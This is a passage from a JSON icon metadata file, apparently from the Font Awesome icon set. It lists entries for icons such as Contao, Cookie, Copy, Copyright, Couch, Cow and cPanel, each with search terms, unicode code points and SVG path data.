38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z"
      }
    },
    "free": ["brands"]
  },
  "contao": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f26d",
    "label": "Contao",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z"
      }
    },
    "free": ["brands"]
  },
  "cookie": {
    "aliases": {
      "unicodes": {
        "composite": ["1f36a"],
        "secondary": ["10f563"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "baked good",
        "chips",
        "chocolate",
        "cookie",
        "dessert",
        "eat",
        "snack",
        "sweet",
        "treat"
      ]
    },
    "styles": ["solid"],
    "unicode": "f563",
    "label": "Cookie",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M247.2 17c-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9l-14.6-82.8c-3.9-22.1-14.6-42.3-30.7-57.9L388.9 57.5c-16.1-15.6-36.6-25.6-58.7-28.7L247.2 17zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M247.2 17c-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9l-14.6-82.8c-3.9-22.1-14.6-42.3-30.7-57.9L388.9 57.5c-16.1-15.6-36.6-25.6-58.7-28.7L247.2 17zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "cookie-bite": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f564"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "baked good",
        "bitten",
        "chips",
        "chocolate",
        "eat",
        "snack",
        "sweet",
        "treat"
      ]
    },
    "styles": ["solid"],
    "unicode": "f564",
    "label": "Cookie Bite",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M257.5 27.6c-.8-5.4-4.9-9.8-10.3-10.6c-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9c-.9-5.3-5.3-9.3-10.6-10.1c-51.5-8.2-92.8-47.1-104.5-97.4c-1.8-7.6-8-13.4-15.7-14.6c-54.6-8.7-97.7-52-106.2-106.8zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M257.5 27.6c-.8-5.4-4.9-9.8-10.3-10.6c-22.1-3.1-44.6 .9-64.4 11.4l-74 39.5C89.1 78.4 73.2 94.9 63.4 115L26.7 190.6c-9.8 20.1-13 42.9-9.1 64.9l14.5 82.8c3.9 22.1 14.6 42.3 30.7 57.9l60.3 58.4c16.1 15.6 36.6 25.6 58.7 28.7l83 11.7c22.1 3.1 44.6-.9 64.4-11.4l74-39.5c19.7-10.5 35.6-27 45.4-47.2l36.7-75.5c9.8-20.1 13-42.9 9.1-64.9c-.9-5.3-5.3-9.3-10.6-10.1c-51.5-8.2-92.8-47.1-104.5-97.4c-1.8-7.6-8-13.4-15.7-14.6c-54.6-8.7-97.7-52-106.2-106.8zM208 144a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM144 336a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm224-64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "copy": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0c5"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["clone", "duplicate", "file", "files-o", "paper", "paste"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0c5",
    "label": "Copy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M208 0H332.1c12.7 0 24.9 5.1 33.9 14.1l67.9 67.9c9 9 14.1 21.2 14.1 33.9V336c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V48c0-26.5 21.5-48 48-48zM48 128h80v64H64V448H256V416h64v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M208 0H332.1c12.7 0 24.9 5.1 33.9 14.1l67.9 67.9c9 9 14.1 21.2 14.1 33.9V336c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V48c0-26.5 21.5-48 48-48zM48 128h80v64H64V448H256V416h64v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48z"
      },
      "regular": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 336H192c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16l140.1 0L400 115.9V320c0 8.8-7.2 16-16 16zM192 384H384c35.3 0 64-28.7 64-64V115.9c0-12.7-5.1-24.9-14.1-33.9L366.1 14.1c-9-9-21.2-14.1-33.9-14.1H192c-35.3 0-64 28.7-64 64V320c0 35.3 28.7 64 64 64zM64 128c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H256c35.3 0 64-28.7 64-64V416H272v32c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V192c0-8.8 7.2-16 16-16H96V128H64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 336H192c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16l140.1 0L400 115.9V320c0 8.8-7.2 16-16 16zM192 384H384c35.3 0 64-28.7 64-64V115.9c0-12.7-5.1-24.9-14.1-33.9L366.1 14.1c-9-9-21.2-14.1-33.9-14.1H192c-35.3 0-64 28.7-64 64V320c0 35.3 28.7 64 64 64zM64 128c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H256c35.3 0 64-28.7 64-64V416H272v32c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V192c0-8.8 7.2-16 16-16H96V128H64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "copyright": {
    "aliases": {
      "unicodes": {
        "composite": ["a9"],
        "secondary": ["10f1f9"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["brand", "c", "copyright", "mark", "register", "trademark"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1f9",
    "label": "Copyright",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM199.4 312.6c31.2 31.2 81.9 31.2 113.1 0c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9c-50 50-131 50-181 0s-50-131 0-181s131-50 181 0c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0c-31.2-31.2-81.9-31.2-113.1 0s-31.2 81.9 0 113.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM199.4 312.6c31.2 31.2 81.9 31.2 113.1 0c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9c-50 50-131 50-181 0s-50-131 0-181s131-50 181 0c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0c-31.2-31.2-81.9-31.2-113.1 0s-31.2 81.9 0 113.1z"
      },
      "regular": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM199.4 312.6c-31.2-31.2-31.2-81.9 0-113.1s81.9-31.2 113.1 0c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9c-50-50-131-50-181 0s-50 131 0 181s131 50 181 0c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0c-31.2 31.2-81.9 31.2-113.1 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM199.4 312.6c-31.2-31.2-31.2-81.9 0-113.1s81.9-31.2 113.1 0c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9c-50-50-131-50-181 0s-50 131 0 181s131 50 181 0c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0c-31.2 31.2-81.9 31.2-113.1 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "cotton-bureau": {
    "changes": ["5.10.0"],
    "ligatures": [],
    "search": {
      "terms": ["clothing", "t-shirts", "tshirts"]
    },
    "styles": ["brands"],
    "unicode": "f89e",
    "label": "Cotton Bureau",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z"
      }
    },
    "free": ["brands"]
  },
  "couch": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4b8"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chair", "cushion", "furniture", "relax", "sofa"]
    },
    "styles": ["solid"],
    "unicode": "f4b8",
    "label": "Couch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 160C64 89.3 121.3 32 192 32H448c70.7 0 128 57.3 128 128v33.6c-36.5 7.4-64 39.7-64 78.4v48H128V272c0-38.7-27.5-71-64-78.4V160zM544 272c0-20.9 13.4-38.7 32-45.3c5-1.8 10.4-2.7 16-2.7c26.5 0 48 21.5 48 48V448c0 17.7-14.3 32-32 32H576c-17.7 0-32-14.3-32-32H96c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V272c0-26.5 21.5-48 48-48c5.6 0 11 1 16 2.7c18.6 6.6 32 24.4 32 45.3v48 32h32H512h32V320 272z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 160C64 89.3 121.3 32 192 32H448c70.7 0 128 57.3 128 128v33.6c-36.5 7.4-64 39.7-64 78.4v48H128V272c0-38.7-27.5-71-64-78.4V160zM544 272c0-20.9 13.4-38.7 32-45.3c5-1.8 10.4-2.7 16-2.7c26.5 0 48 21.5 48 48V448c0 17.7-14.3 32-32 32H576c-17.7 0-32-14.3-32-32H96c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V272c0-26.5 21.5-48 48-48c5.6 0 11 1 16 2.7c18.6 6.6 32 24.4 32 45.3v48 32h32H512h32V320 272z"
      }
    },
    "free": ["solid"]
  },
  "cow": {
    "aliases": {
      "unicodes": {
        "composite": ["1f404"],
        "secondary": ["10f6c8"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "agriculture",
        "animal",
        "beef",
        "bovine",
        "co",
        "cow",
        "farm",
        "fauna",
        "livestock",
        "mammal",
        "milk",
        "moo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6c8",
    "label": "Cow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 224v32V416c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V327.8c9.9 6.6 20.6 12 32 16.1V368c0 8.8 7.2 16 16 16s16-7.2 16-16V351.1c5.3 .6 10.6 .9 16 .9s10.7-.3 16-.9V368c0 8.8 7.2 16 16 16s16-7.2 16-16V343.8c11.4-4 22.1-9.4 32-16.1V416c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V256l32 32v49.5c0 9.5 2.8 18.7 8.1 26.6L530 427c8.8 13.1 23.5 21 39.3 21c22.5 0 41.9-15.9 46.3-38l20.3-101.6c2.6-13-.3-26.5-8-37.3l-3.9-5.5V184c0-13.3-10.7-24-24-24s-24 10.7-24 24v14.4l-52.9-74.1C496 86.5 452.4 64 405.9 64H272 256 192 144C77.7 64 24 117.7 24 184v54C9.4 249.8 0 267.8 0 288v17.6c0 8 6.4 14.4 14.4 14.4C46.2 320 72 294.2 72 262.4V256 224 184c0-24.3 12.1-45.8 30.5-58.9C98.3 135.9 96 147.7 96 160v64zM560 336a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM166.6 166.6c-4.2-4.2-6.6-10-6.6-16c0-12.5 10.1-22.6 22.6-22.6H361.4c12.5 0 22.6 10.1 22.6 22.6c0 6-2.4 11.8-6.6 16l-23.4 23.4C332.2 211.8 302.7 224 272 224s-60.2-12.2-81.9-33.9l-23.4-23.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 224v32V416c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V327.8c9.9 6.6 20.6 12 32 16.1V368c0 8.8 7.2 16 16 16s16-7.2 16-16V351.1c5.3 .6 10.6 .9 16 .9s10.7-.3 16-.9V368c0 8.8 7.2 16 16 16s16-7.2 16-16V343.8c11.4-4 22.1-9.4 32-16.1V416c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V256l32 32v49.5c0 9.5 2.8 18.7 8.1 26.6L530 427c8.8 13.1 23.5 21 39.3 21c22.5 0 41.9-15.9 46.3-38l20.3-101.6c2.6-13-.3-26.5-8-37.3l-3.9-5.5V184c0-13.3-10.7-24-24-24s-24 10.7-24 24v14.4l-52.9-74.1C496 86.5 452.4 64 405.9 64H272 256 192 144C77.7 64 24 117.7 24 184v54C9.4 249.8 0 267.8 0 288v17.6c0 8 6.4 14.4 14.4 14.4C46.2 320 72 294.2 72 262.4V256 224 184c0-24.3 12.1-45.8 30.5-58.9C98.3 135.9 96 147.7 96 160v64zM560 336a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM166.6 166.6c-4.2-4.2-6.6-10-6.6-16c0-12.5 10.1-22.6 22.6-22.6H361.4c12.5 0 22.6 10.1 22.6 22.6c0 6-2.4 11.8-6.6 16l-23.4 23.4C332.2 211.8 302.7 224 272 224s-60.2-12.2-81.9-33.9l-23.4-23.4z"
      }
    },
    "free": ["solid"]
  },
  "cpanel": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f388",
    "label": "cPanel",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
